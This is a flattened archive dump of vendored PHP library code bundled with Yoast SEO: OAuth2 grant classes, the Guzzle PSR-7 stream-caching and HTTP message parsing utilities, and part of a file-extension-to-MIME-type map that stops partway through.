YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception; use InvalidArgumentException; /** * Exception thrown if the grant does not extend from AbstractGrant. * * @see League\OAuth2\Client\Grant\AbstractGrant */ class InvalidGrantException extends \InvalidArgumentException { } league/oauth2-client/src/Grant/RefreshToken.php000066600000002032151734252230015443 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; /** * Represents a refresh token grant. * * @link http://tools.ietf.org/html/rfc6749#section-6 Refreshing an Access Token (RFC 6749, §6) */ class RefreshToken extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant { /** * @inheritdoc */ protected function getName() { return 'refresh_token'; } /** * @inheritdoc */ protected function getRequiredRequestParameters() { return ['refresh_token']; } } guzzlehttp/psr7/src/CachingStream.php000066600000011303151734252230013675 0ustar00remoteStream = $stream; $this->stream = $target ?: new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'r+')); } public function getSize() : ?int { $remoteSize = $this->remoteStream->getSize(); if (null === $remoteSize) { return null; } return \max($this->stream->getSize(), $remoteSize); } public function rewind() : void { $this->seek(0); } public function seek($offset, $whence = \SEEK_SET) : void { if ($whence === \SEEK_SET) { $byte = $offset; } elseif ($whence === \SEEK_CUR) { $byte = $offset + $this->tell(); } elseif ($whence === \SEEK_END) { $size = $this->remoteStream->getSize(); if ($size === null) { $size = $this->cacheEntireStream(); } $byte = $size + $offset; } else { throw new \InvalidArgumentException('Invalid whence'); } $diff = $byte - $this->stream->getSize(); if ($diff > 0) { // Read the remoteStream until we have read in at least the amount // of bytes requested, or we reach the end of the file. while ($diff > 0 && !$this->remoteStream->eof()) { $this->read($diff); $diff = $byte - $this->stream->getSize(); } } else { // We can just do a normal seek since we've already seen this byte. $this->stream->seek($byte); } } public function read($length) : string { // Perform a regular read on any previously read data from the buffer $data = $this->stream->read($length); $remaining = $length - \strlen($data); // More data was requested so read from the remote stream if ($remaining) { // If data was written to the buffer in a position that would have // been filled from the remote stream, then we must skip bytes on // the remote stream to emulate overwriting bytes from that // position. This mimics the behavior of other PHP stream wrappers. $remoteData = $this->remoteStream->read($remaining + $this->skipReadBytes); if ($this->skipReadBytes) { $len = \strlen($remoteData); $remoteData = \substr($remoteData, $this->skipReadBytes); $this->skipReadBytes = \max(0, $this->skipReadBytes - $len); } $data .= $remoteData; $this->stream->write($remoteData); } return $data; } public function write($string) : int { // When appending to the end of the currently read stream, you'll want // to skip bytes from being read from the remote stream to emulate // other stream wrappers. Basically replacing bytes of data of a fixed // length. $overflow = \strlen($string) + $this->tell() - $this->remoteStream->tell(); if ($overflow > 0) { $this->skipReadBytes += $overflow; } return $this->stream->write($string); } public function eof() : bool { return $this->stream->eof() && $this->remoteStream->eof(); } /** * Close both the remote stream and buffer stream */ public function close() : void { $this->remoteStream->close(); $this->stream->close(); } private function cacheEntireStream() : int { $target = new \YoastSEO_Vendor\GuzzleHttp\Psr7\FnStream(['write' => 'strlen']); \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($this, $target); return $this->tell(); } } guzzlehttp/psr7/src/Message.php000066600000020640151734252230012555 0ustar00getMethod() . ' ' . $message->getRequestTarget()) . ' HTTP/' . $message->getProtocolVersion(); if (!$message->hasHeader('host')) { $msg .= "\r\nHost: " . $message->getUri()->getHost(); } } elseif ($message instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface) { $msg = 'HTTP/' . $message->getProtocolVersion() . ' ' . $message->getStatusCode() . ' ' . $message->getReasonPhrase(); } else { throw new \InvalidArgumentException('Unknown message type'); } foreach ($message->getHeaders() as $name => $values) { if (\is_string($name) && \strtolower($name) === 'set-cookie') { foreach ($values as $value) { $msg .= "\r\n{$name}: " . $value; } } else { $msg .= "\r\n{$name}: " . \implode(', ', $values); } } return "{$msg}\r\n\r\n" . $message->getBody(); } /** * Get a short summary of the message body. * * Will return `null` if the response is not printable. * * @param MessageInterface $message The message to get the body summary * @param int $truncateAt The maximum allowed size of the summary */ public static function bodySummary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, int $truncateAt = 120) : ?string { $body = $message->getBody(); if (!$body->isSeekable() || !$body->isReadable()) { return null; } $size = $body->getSize(); if ($size === 0) { return null; } $body->rewind(); $summary = $body->read($truncateAt); $body->rewind(); if ($size > $truncateAt) { $summary .= ' (truncated...)'; } // Matches any printable character, including unicode characters: // letters, marks, numbers, punctuation, spacing, and separators. if (\preg_match('/[^\\pL\\pM\\pN\\pP\\pS\\pZ\\n\\r\\t]/u', $summary) !== 0) { return null; } return $summary; } /** * Attempts to rewind a message body and throws an exception on failure. * * The body of the message will only be rewound if a call to `tell()` * returns a value other than `0`. * * @param MessageInterface $message Message to rewind * * @throws \RuntimeException */ public static function rewindBody(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : void { $body = $message->getBody(); if ($body->tell()) { $body->rewind(); } } /** * Parses an HTTP message into an associative array. * * The array contains the "start-line" key containing the start line of * the message, "headers" key containing an associative array of header * array values, and a "body" key containing the body of the message. * * @param string $message HTTP request or response to parse. */ public static function parseMessage(string $message) : array { if (!$message) { throw new \InvalidArgumentException('Invalid message'); } $message = \ltrim($message, "\r\n"); $messageParts = \preg_split("/\r?\n\r?\n/", $message, 2); if ($messageParts === \false || \count($messageParts) !== 2) { throw new \InvalidArgumentException('Invalid message: Missing header delimiter'); } [$rawHeaders, $body] = $messageParts; $rawHeaders .= "\r\n"; // Put back the delimiter we split previously $headerParts = \preg_split("/\r?\n/", $rawHeaders, 2); if ($headerParts === \false || \count($headerParts) !== 2) { throw new \InvalidArgumentException('Invalid message: Missing status line'); } [$startLine, $rawHeaders] = $headerParts; if (\preg_match("/(?:^HTTP\\/|^[A-Z]+ \\S+ HTTP\\/)(\\d+(?:\\.\\d+)?)/i", $startLine, $matches) && $matches[1] === '1.0') { // Header folding is deprecated for HTTP/1.1, but allowed in HTTP/1.0 $rawHeaders = \preg_replace(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_FOLD_REGEX, ' ', $rawHeaders); } /** @var array[] $headerLines */ $count = \preg_match_all(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_REGEX, $rawHeaders, $headerLines, \PREG_SET_ORDER); // If these aren't the same, then one line didn't match and there's an invalid header. if ($count !== \substr_count($rawHeaders, "\n")) { // Folding is deprecated, see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4 if (\preg_match(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_FOLD_REGEX, $rawHeaders)) { throw new \InvalidArgumentException('Invalid header syntax: Obsolete line folding'); } throw new \InvalidArgumentException('Invalid header syntax'); } $headers = []; foreach ($headerLines as $headerLine) { $headers[$headerLine[1]][] = $headerLine[2]; } return ['start-line' => $startLine, 'headers' => $headers, 'body' => $body]; } /** * Constructs a URI for an HTTP request message. * * @param string $path Path from the start-line * @param array $headers Array of headers (each value an array). */ public static function parseRequestUri(string $path, array $headers) : string { $hostKey = \array_filter(\array_keys($headers), function ($k) { // Numeric array keys are converted to int by PHP. $k = (string) $k; return \strtolower($k) === 'host'; }); // If no host is found, then a full URI cannot be constructed. if (!$hostKey) { return $path; } $host = $headers[\reset($hostKey)][0]; $scheme = \substr($host, -4) === ':443' ? 'https' : 'http'; return $scheme . '://' . $host . '/' . \ltrim($path, '/'); } /** * Parses a request message string into a request object. * * @param string $message Request message string. */ public static function parseRequest(string $message) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { $data = self::parseMessage($message); $matches = []; if (!\preg_match('/^[\\S]+\\s+([a-zA-Z]+:\\/\\/|\\/).*/', $data['start-line'], $matches)) { throw new \InvalidArgumentException('Invalid request string'); } $parts = \explode(' ', $data['start-line'], 3); $version = isset($parts[2]) ? \explode('/', $parts[2])[1] : '1.1'; $request = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($parts[0], $matches[1] === '/' ? self::parseRequestUri($parts[1], $data['headers']) : $parts[1], $data['headers'], $data['body'], $version); return $matches[1] === '/' ? $request : $request->withRequestTarget($parts[1]); } /** * Parses a response message string into a response object. * * @param string $message Response message string. */ public static function parseResponse(string $message) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { $data = self::parseMessage($message); // According to https://datatracker.ietf.org/doc/html/rfc7230#section-3.1.2 // the space between status-code and reason-phrase is required. But // browsers accept responses without space and reason as well. if (!\preg_match('/^HTTP\\/.* [0-9]{3}( .*|$)/', $data['start-line'])) { throw new \InvalidArgumentException('Invalid response string: ' . $data['start-line']); } $parts = \explode(' ', $data['start-line'], 3); return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response((int) $parts[1], $data['headers'], $data['body'], \explode('/', $parts[0])[1], $parts[2] ?? null); } } guzzlehttp/psr7/src/MimeType.php000066600000130251151734252230012722 0ustar00 'application/vnd.1000minds.decision-model+xml', '3dml' => 'text/vnd.in3d.3dml', '3ds' => 'image/x-3ds', '3g2' => 'video/3gpp2', '3gp' => 'video/3gp', '3gpp' => 'video/3gpp', '3mf' => 'model/3mf', '7z' => 'application/x-7z-compressed', '7zip' => 'application/x-7z-compressed', '123' => 'application/vnd.lotus-1-2-3', 'aab' => 'application/x-authorware-bin', 'aac' => 'audio/aac', 'aam' => 'application/x-authorware-map', 'aas' => 'application/x-authorware-seg', 'abw' => 'application/x-abiword', 'ac' => 'application/vnd.nokia.n-gage.ac+xml', 'ac3' => 'audio/ac3', 'acc' => 'application/vnd.americandynamics.acc', 'ace' => 'application/x-ace-compressed', 'acu' => 'application/vnd.acucobol', 'acutc' => 'application/vnd.acucorp', 'adp' => 'audio/adpcm', 'adts' => 'audio/aac', 'aep' => 'application/vnd.audiograph', 'afm' => 'application/x-font-type1', 'afp' => 'application/vnd.ibm.modcap', 'age' => 'application/vnd.age', 'ahead' => 'application/vnd.ahead.space', 'ai' => 'application/pdf', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'air' => 'application/vnd.adobe.air-application-installer-package+zip', 'ait' => 'application/vnd.dvb.ait', 'ami' => 'application/vnd.amiga.ami', 'aml' => 'application/automationml-aml+xml', 'amlx' => 'application/automationml-amlx+zip', 'amr' => 'audio/amr', 'apk' => 'application/vnd.android.package-archive', 'apng' => 'image/apng', 'appcache' => 'text/cache-manifest', 'appinstaller' => 'application/appinstaller', 'application' => 'application/x-ms-application', 'appx' => 'application/appx', 'appxbundle' => 'application/appxbundle', 'apr' => 'application/vnd.lotus-approach', 'arc' => 'application/x-freearc', 'arj' => 'application/x-arj', 'asc' => 'application/pgp-signature', 'asf' => 'video/x-ms-asf', 'asm' => 'text/x-asm', 'aso' => 'application/vnd.accpac.simply.aso', 'asx' => 'video/x-ms-asf', 'atc' => 'application/vnd.acucorp', 'atom' => 'application/atom+xml', 'atomcat' => 'application/atomcat+xml', 'atomdeleted' => 'application/atomdeleted+xml', 'atomsvc' => 'application/atomsvc+xml', 'atx' => 'application/vnd.antix.game-component', 'au' => 'audio/x-au', 'avci' => 'image/avci', 'avcs' => 'image/avcs', 'avi' => 'video/x-msvideo', 'avif' => 'image/avif', 'aw' => 'application/applixware', 'azf' => 'application/vnd.airzip.filesecure.azf', 'azs' => 'application/vnd.airzip.filesecure.azs', 'azv' => 'image/vnd.airzip.accelerator.azv', 'azw' => 'application/vnd.amazon.ebook', 'b16' => 'image/vnd.pco.b16', 'bat' => 'application/x-msdownload', 'bcpio' => 'application/x-bcpio', 'bdf' => 'application/x-font-bdf', 'bdm' => 'application/vnd.syncml.dm+wbxml', 'bdoc' => 'application/x-bdoc', 'bed' => 'application/vnd.realvnc.bed', 'bh2' => 'application/vnd.fujitsu.oasysprs', 'bin' => 'application/octet-stream', 'blb' => 'application/x-blorb', 'blorb' => 'application/x-blorb', 'bmi' => 'application/vnd.bmi', 'bmml' => 'application/vnd.balsamiq.bmml+xml', 'bmp' => 'image/bmp', 'book' => 'application/vnd.framemaker', 'box' => 'application/vnd.previewsystems.box', 'boz' => 'application/x-bzip2', 'bpk' => 'application/octet-stream', 'bpmn' => 'application/octet-stream', 'bsp' => 'model/vnd.valve.source.compiled-map', 'btf' => 'image/prs.btif', 'btif' => 'image/prs.btif', 'buffer' => 'application/octet-stream', 'bz' => 'application/x-bzip', 'bz2' => 'application/x-bzip2', 'c' => 'text/x-c', 'c4d' => 'application/vnd.clonk.c4group', 'c4f' => 'application/vnd.clonk.c4group', 'c4g' => 'application/vnd.clonk.c4group', 'c4p' => 'application/vnd.clonk.c4group', 'c4u' => 'application/vnd.clonk.c4group', 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', 'cab' => 'application/vnd.ms-cab-compressed', 'caf' => 'audio/x-caf', 'cap' => 'application/vnd.tcpdump.pcap', 'car' => 'application/vnd.curl.car', 'cat' => 'application/vnd.ms-pki.seccat', 'cb7' => 'application/x-cbr', 'cba' => 'application/x-cbr', 'cbr' => 'application/x-cbr', 'cbt' => 'application/x-cbr', 'cbz' => 'application/x-cbr', 'cc' => 'text/x-c', 'cco' => 'application/x-cocoa', 'cct' => 'application/x-director', 'ccxml' => 'application/ccxml+xml', 'cdbcmsg' => 'application/vnd.contact.cmsg', 'cdf' => 'application/x-netcdf', 'cdfx' => 'application/cdfx+xml', 'cdkey' => 'application/vnd.mediastation.cdkey', 'cdmia' => 'application/cdmi-capability', 'cdmic' => 'application/cdmi-container', 'cdmid' => 'application/cdmi-domain', 'cdmio' => 'application/cdmi-object', 'cdmiq' => 'application/cdmi-queue', 'cdr' => 'application/cdr', 'cdx' => 'chemical/x-cdx', 'cdxml' => 'application/vnd.chemdraw+xml', 'cdy' => 'application/vnd.cinderella', 'cer' => 'application/pkix-cert', 'cfs' => 'application/x-cfs-compressed', 'cgm' => 'image/cgm', 'chat' => 'application/x-chat', 'chm' => 'application/vnd.ms-htmlhelp', 'chrt' => 'application/vnd.kde.kchart', 'cif' => 'chemical/x-cif', 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', 'cil' => 'application/vnd.ms-artgalry', 'cjs' => 'application/node', 'cla' => 'application/vnd.claymore', 'class' => 'application/octet-stream', 'cld' => 'model/vnd.cld', 'clkk' => 'application/vnd.crick.clicker.keyboard', 'clkp' => 'application/vnd.crick.clicker.palette', 'clkt' => 'application/vnd.crick.clicker.template', 'clkw' => 'application/vnd.crick.clicker.wordbank', 'clkx' => 'application/vnd.crick.clicker', 'clp' => 'application/x-msclip', 'cmc' => 'application/vnd.cosmocaller', 'cmdf' => 'chemical/x-cmdf', 'cml' => 'chemical/x-cml', 'cmp' => 'application/vnd.yellowriver-custom-menu', 'cmx' => 'image/x-cmx', 'cod' => 'application/vnd.rim.cod', 'coffee' => 'text/coffeescript', 'com' => 'application/x-msdownload', 'conf' => 'text/plain', 'cpio' => 'application/x-cpio', 'cpl' => 'application/cpl+xml', 'cpp' => 'text/x-c', 'cpt' => 'application/mac-compactpro', 'crd' => 'application/x-mscardfile', 'crl' => 'application/pkix-crl', 'crt' => 'application/x-x509-ca-cert', 'crx' => 'application/x-chrome-extension', 'cryptonote' => 'application/vnd.rig.cryptonote', 'csh' => 'application/x-csh', 'csl' => 'application/vnd.citationstyles.style+xml', 'csml' => 'chemical/x-csml', 'csp' => 'application/vnd.commonspace', 'csr' => 'application/octet-stream', 'css' => 'text/css', 'cst' => 'application/x-director', 'csv' => 'text/csv', 'cu' => 'application/cu-seeme', 'curl' => 'text/vnd.curl', 'cwl' => 'application/cwl', 'cww' => 'application/prs.cww', 'cxt' => 'application/x-director', 'cxx' => 'text/x-c', 'dae' => 'model/vnd.collada+xml', 'daf' => 'application/vnd.mobius.daf', 'dart' => 'application/vnd.dart', 'dataless' => 'application/vnd.fdsn.seed', 'davmount' => 'application/davmount+xml', 'dbf' => 'application/vnd.dbf', 'dbk' => 'application/docbook+xml', 'dcr' => 'application/x-director', 'dcurl' => 'text/vnd.curl.dcurl', 'dd2' => 'application/vnd.oma.dd2+xml', 'ddd' => 'application/vnd.fujixerox.ddd', 'ddf' => 'application/vnd.syncml.dmddf+xml', 'dds' => 'image/vnd.ms-dds', 'deb' => 'application/x-debian-package', 'def' => 'text/plain', 'deploy' => 'application/octet-stream', 'der' => 'application/x-x509-ca-cert', 'dfac' => 'application/vnd.dreamfactory', 'dgc' => 'application/x-dgc-compressed', 'dib' => 'image/bmp', 'dic' => 'text/x-c', 'dir' => 'application/x-director', 'dis' => 'application/vnd.mobius.dis', 'disposition-notification' => 'message/disposition-notification', 'dist' => 'application/octet-stream', 'distz' => 'application/octet-stream', 'djv' => 'image/vnd.djvu', 'djvu' => 'image/vnd.djvu', 'dll' => 'application/octet-stream', 'dmg' => 'application/x-apple-diskimage', 'dmn' => 'application/octet-stream', 'dmp' => 'application/vnd.tcpdump.pcap', 'dms' => 'application/octet-stream', 'dna' => 'application/vnd.dna', 'doc' => 'application/msword', 'docm' => 'application/vnd.ms-word.template.macroEnabled.12', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dot' => 'application/msword', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dp' => 'application/vnd.osgi.dp', 'dpg' => 'application/vnd.dpgraph', 'dpx' => 'image/dpx', 'dra' => 'audio/vnd.dra', 'drle' => 'image/dicom-rle', 'dsc' => 'text/prs.lines.tag', 'dssc' => 'application/dssc+der', 'dtb' => 'application/x-dtbook+xml', 'dtd' => 'application/xml-dtd', 'dts' => 'audio/vnd.dts', 'dtshd' => 'audio/vnd.dts.hd', 'dump' => 'application/octet-stream', 'dvb' => 'video/vnd.dvb.file', 'dvi' => 'application/x-dvi', 'dwd' => 'application/atsc-dwd+xml', 'dwf' => 'model/vnd.dwf', 'dwg' => 'image/vnd.dwg', 'dxf' => 'image/vnd.dxf', 'dxp' => 'application/vnd.spotfire.dxp', 'dxr' => 'application/x-director', 'ear' => 'application/java-archive', 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', 'ecma' => 'application/ecmascript', 'edm' => 'application/vnd.novadigm.edm', 'edx' => 'application/vnd.novadigm.edx', 'efif' => 'application/vnd.picsel', 'ei6' => 'application/vnd.pg.osasli', 'elc' => 'application/octet-stream', 'emf' => 'image/emf', 'eml' => 'message/rfc822', 'emma' => 'application/emma+xml', 'emotionml' => 'application/emotionml+xml', 'emz' => 'application/x-msmetafile', 'eol' => 'audio/vnd.digital-winds', 'eot' => 'application/vnd.ms-fontobject', 'eps' => 'application/postscript', 'epub' => 'application/epub+zip', 'es3' => 'application/vnd.eszigno3+xml', 'esa' => 'application/vnd.osgi.subsystem', 'esf' => 'application/vnd.epson.esf', 'et3' => 'application/vnd.eszigno3+xml', 'etx' => 'text/x-setext', 'eva' => 'application/x-eva', 'evy' => 'application/x-envoy', 'exe' => 'application/octet-stream', 'exi' => 'application/exi', 'exp' => 'application/express', 'exr' => 'image/aces', 'ext' => 'application/vnd.novadigm.ext', 'ez' => 'application/andrew-inset', 'ez2' => 'application/vnd.ezpix-album', 'ez3' => 'application/vnd.ezpix-package', 'f' => 'text/x-fortran', 'f4v' => 'video/mp4', 'f77' => 'text/x-fortran', 'f90' => 'text/x-fortran', 'fbs' => 'image/vnd.fastbidsheet', 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', 'fcs' => 'application/vnd.isac.fcs', 'fdf' => 'application/vnd.fdf', 'fdt' => 'application/fdt+xml', 'fe_launch' => 'application/vnd.denovo.fcselayout-link', 'fg5' => 'application/vnd.fujitsu.oasysgp', 'fgd' => 'application/x-director', 'fh' => 'image/x-freehand', 'fh4' => 'image/x-freehand', 'fh5' => 'image/x-freehand', 'fh7' => 'image/x-freehand', 'fhc' => 'image/x-freehand', 'fig' => 'application/x-xfig', 'fits' => 'image/fits', 'flac' => 'audio/x-flac', 'fli' => 'video/x-fli', 'flo' => 'application/vnd.micrografx.flo', 'flv' => 'video/x-flv', 'flw' => 'application/vnd.kde.kivio', 'flx' => 'text/vnd.fmi.flexstor', 'fly' => 'text/vnd.fly', 'fm' => 'application/vnd.framemaker', 'fnc' => 'application/vnd.frogans.fnc', 'fo' => 'application/vnd.software602.filler.form+xml', 'for' => 'text/x-fortran', 'fpx' => 'image/vnd.fpx', 'frame' => 'application/vnd.framemaker', 'fsc' => 'application/vnd.fsc.weblaunch', 'fst' => 'image/vnd.fst', 'ftc' => 'application/vnd.fluxtime.clip', 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', 'fvt' => 'video/vnd.fvt', 'fxp' => 'application/vnd.adobe.fxp', 'fxpl' => 'application/vnd.adobe.fxp', 'fzs' => 'application/vnd.fuzzysheet', 'g2w' => 'application/vnd.geoplan', 'g3' => 'image/g3fax', 'g3w' => 'application/vnd.geospace', 'gac' => 'application/vnd.groove-account', 'gam' => 'application/x-tads', 'gbr' => 'application/rpki-ghostbusters', 'gca' => 'application/x-gca-compressed', 'gdl' => 'model/vnd.gdl', 'gdoc' => 'application/vnd.google-apps.document', 'ged' => 'text/vnd.familysearch.gedcom', 'geo' => 'application/vnd.dynageo', 'geojson' => 'application/geo+json', 'gex' => 'application/vnd.geometry-explorer', 'ggb' => 'application/vnd.geogebra.file', 'ggt' => 'application/vnd.geogebra.tool', 'ghf' => 'application/vnd.groove-help', 'gif' => 'image/gif', 'gim' => 'application/vnd.groove-identity-message', 'glb' => 'model/gltf-binary', 'gltf' => 'model/gltf+json', 'gml' => 'application/gml+xml', 'gmx' => 'application/vnd.gmx', 'gnumeric' => 'application/x-gnumeric', 'gpg' => 'application/gpg-keys', 'gph' => 'application/vnd.flographit', 'gpx' => 'application/gpx+xml', 'gqf' => 'application/vnd.grafeq', 'gqs' => 'application/vnd.grafeq', 'gram' => 'application/srgs', 'gramps' => 'application/x-gramps-xml', 'gre' => 'application/vnd.geometry-explorer', 'grv' => 'application/vnd.groove-injector', 'grxml' => 'application/srgs+xml', 'gsf' => 'application/x-font-ghostscript', 'gsheet' => 'application/vnd.google-apps.spreadsheet', 'gslides' => 'application/vnd.google-apps.presentation', 'gtar' => 'application/x-gtar', 'gtm' => 'application/vnd.groove-tool-message', 'gtw' => 'model/vnd.gtw', 'gv' => 'text/vnd.graphviz', 'gxf' => 'application/gxf', 'gxt' => 'application/vnd.geonext', 'gz' => 'application/gzip', 'gzip' => 'application/gzip', 'h' => 'text/x-c', 'h261' => 'video/h261', 'h263' => 'video/h263', 'h264' => 'video/h264', 'hal' => 'application/vnd.hal+xml', 'hbci' => 'application/vnd.hbci', 'hbs' => 'text/x-handlebars-template', 'hdd' => 'application/x-virtualbox-hdd', 'hdf' => 'application/x-hdf', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'hej2' => 'image/hej2k', 'held' => 'application/atsc-held+xml', 'hh' => 'text/x-c', 'hjson' => 'application/hjson', 'hlp' => 'application/winhlp', 'hpgl' => 'application/vnd.hp-hpgl', 'hpid' => 'application/vnd.hp-hpid', 'hps' => 'application/vnd.hp-hps', 'hqx' => 'application/mac-binhex40', 'hsj2' => 'image/hsj2', 'htc' => 'text/x-component', 'htke' => 'application/vnd.kenameaapp', 'htm' => 'text/html', 'html' => 'text/html', 'hvd' => 'application/vnd.yamaha.hv-dic', 'hvp' => 'application/vnd.yamaha.hv-voice', 'hvs' => 'application/vnd.yamaha.hv-script', 'i2g' => 'application/vnd.intergeo', 'icc' => 'application/vnd.iccprofile', 'ice' => 'x-conference/x-cooltalk', 'icm' => 'application/vnd.iccprofile', 'ico' => 'image/x-icon', 'ics' => 'text/calendar', 'ief' => 'image/ief', 'ifb' => 'text/calendar', 'ifm' => 'application/vnd.shana.informed.formdata', 'iges' => 'model/iges', 'igl' => 'application/vnd.igloader', 'igm' => 'application/vnd.insors.igm', 'igs' => 'model/iges', 'igx' => 'application/vnd.micrografx.igx', 'iif' => 'application/vnd.shana.informed.interchange', 'img' => 'application/octet-stream', 'imp' => 'application/vnd.accpac.simply.imp', 'ims' => 'application/vnd.ms-ims', 'in' => 'text/plain', 'ini' => 'text/plain', 'ink' => 'application/inkml+xml', 'inkml' => 'application/inkml+xml', 'install' => 'application/x-install-instructions', 'iota' => 'application/vnd.astraea-software.iota', 'ipfix' => 'application/ipfix', 'ipk' => 'application/vnd.shana.informed.package', 'irm' => 'application/vnd.ibm.rights-management', 'irp' => 'application/vnd.irepository.package+xml', 'iso' => 'application/x-iso9660-image', 'itp' => 'application/vnd.shana.informed.formtemplate', 'its' => 'application/its+xml', 'ivp' => 'application/vnd.immervision-ivp', 'ivu' => 'application/vnd.immervision-ivu', 'jad' => 'text/vnd.sun.j2me.app-descriptor', 'jade' => 'text/jade', 'jam' => 'application/vnd.jam', 'jar' => 'application/java-archive', 'jardiff' => 'application/x-java-archive-diff', 'java' => 'text/x-java-source', 'jhc' => 'image/jphc', 'jisp' => 'application/vnd.jisp', 'jls' => 'image/jls', 'jlt' => 'application/vnd.hp-jlyt', 'jng' => 'image/x-jng', 'jnlp' => 'application/x-java-jnlp-file', 'joda' => 'application/vnd.joost.joda-archive', 'jp2' => 'image/jp2', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpf' => 'image/jpx', 'jpg' => 'image/jpeg', 'jpg2' => 'image/jp2', 'jpgm' => 'video/jpm', 'jpgv' => 'video/jpeg', 'jph' => 'image/jph', 'jpm' => 'video/jpm', 'jpx' => 'image/jpx', 'js' => 'application/javascript', 'json' => 'application/json', 'json5' => 'application/json5', 'jsonld' => 'application/ld+json', 'jsonml' => 'application/jsonml+json', 'jsx' => 'text/jsx', 'jt' => 'model/jt', 'jxr' => 'image/jxr', 'jxra' => 'image/jxra', 'jxrs' => 'image/jxrs', 'jxs' => 'image/jxs', 'jxsc' => 'image/jxsc', 'jxsi' => 'image/jxsi', 'jxss' => 'image/jxss', 'kar' => 'audio/midi', 'karbon' => 'application/vnd.kde.karbon', 'kdb' => 'application/octet-stream', 'kdbx' => 'application/x-keepass2', 'key' => 'application/x-iwork-keynote-sffkey', 'kfo' => 'application/vnd.kde.kformula', 'kia' => 'application/vnd.kidspiration', 'kml' => 'application/vnd.google-earth.kml+xml', 'kmz' => 'application/vnd.google-earth.kmz', 'kne' => 'application/vnd.kinar', 'knp' => 'application/vnd.kinar', 'kon' => 'application/vnd.kde.kontour', 'kpr' => 'application/vnd.kde.kpresenter', 'kpt' => 'application/vnd.kde.kpresenter', 'kpxx' => 'application/vnd.ds-keypoint', 'ksp' => 'application/vnd.kde.kspread', 'ktr' => 'application/vnd.kahootz', 'ktx' => 'image/ktx', 'ktx2' => 'image/ktx2', 'ktz' => 'application/vnd.kahootz', 'kwd' => 'application/vnd.kde.kword', 'kwt' => 'application/vnd.kde.kword', 'lasxml' => 'application/vnd.las.las+xml', 'latex' => 'application/x-latex', 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', 'les' => 'application/vnd.hhe.lesson-player', 'less' => 'text/less', 'lgr' => 'application/lgr+xml', 'lha' => 'application/octet-stream', 'link66' => 'application/vnd.route66.link66+xml', 'list' => 'text/plain', 'list3820' => 'application/vnd.ibm.modcap', 'listafp' => 'application/vnd.ibm.modcap', 'litcoffee' => 'text/coffeescript', 'lnk' => 'application/x-ms-shortcut', 'log' => 'text/plain', 'lostxml' => 'application/lost+xml', 'lrf' => 'application/octet-stream', 'lrm' => 'application/vnd.ms-lrm', 'ltf' => 'application/vnd.frogans.ltf', 'lua' => 'text/x-lua', 'luac' => 'application/x-lua-bytecode', 'lvp' => 'audio/vnd.lucent.voice', 'lwp' => 'application/vnd.lotus-wordpro', 'lzh' => 'application/octet-stream', 'm1v' => 'video/mpeg', 'm2a' => 'audio/mpeg', 'm2v' => 'video/mpeg', 'm3a' => 'audio/mpeg', 'm3u' => 'text/plain', 'm3u8' => 'application/vnd.apple.mpegurl', 'm4a' => 'audio/x-m4a', 'm4p' => 'application/mp4', 'm4s' => 'video/iso.segment', 'm4u' => 'application/vnd.mpegurl', 'm4v' => 'video/x-m4v', 'm13' => 'application/x-msmediaview', 'm14' => 'application/x-msmediaview', 'm21' => 'application/mp21', 'ma' => 'application/mathematica', 'mads' => 'application/mads+xml', 'maei' => 'application/mmt-aei+xml', 'mag' => 'application/vnd.ecowin.chart', 'maker' => 'application/vnd.framemaker', 'man' => 'text/troff', 'manifest' => 'text/cache-manifest', 'map' => 'application/json', 'mar' => 'application/octet-stream', 'markdown' => 'text/markdown', 'mathml' => 'application/mathml+xml', 'mb' => 'application/mathematica', 'mbk' => 'application/vnd.mobius.mbk', 'mbox' => 'application/mbox', 'mc1' => 'application/vnd.medcalcdata', 'mcd' => 'application/vnd.mcd', 'mcurl' => 'text/vnd.curl.mcurl', 'md' => 'text/markdown', 'mdb' => 'application/x-msaccess', 'mdi' => 'image/vnd.ms-modi', 'mdx' => 'text/mdx', 'me' => 'text/troff', 'mesh' => 'model/mesh', 'meta4' => 'application/metalink4+xml', 'metalink' => 'application/metalink+xml', 'mets' => 'application/mets+xml', 'mfm' => 'application/vnd.mfmp', 'mft' => 'application/rpki-manifest', 'mgp' => 'application/vnd.osgeo.mapguide.package', 'mgz' => 'application/vnd.proteus.magazine', 'mid' => 'audio/midi', 'midi' 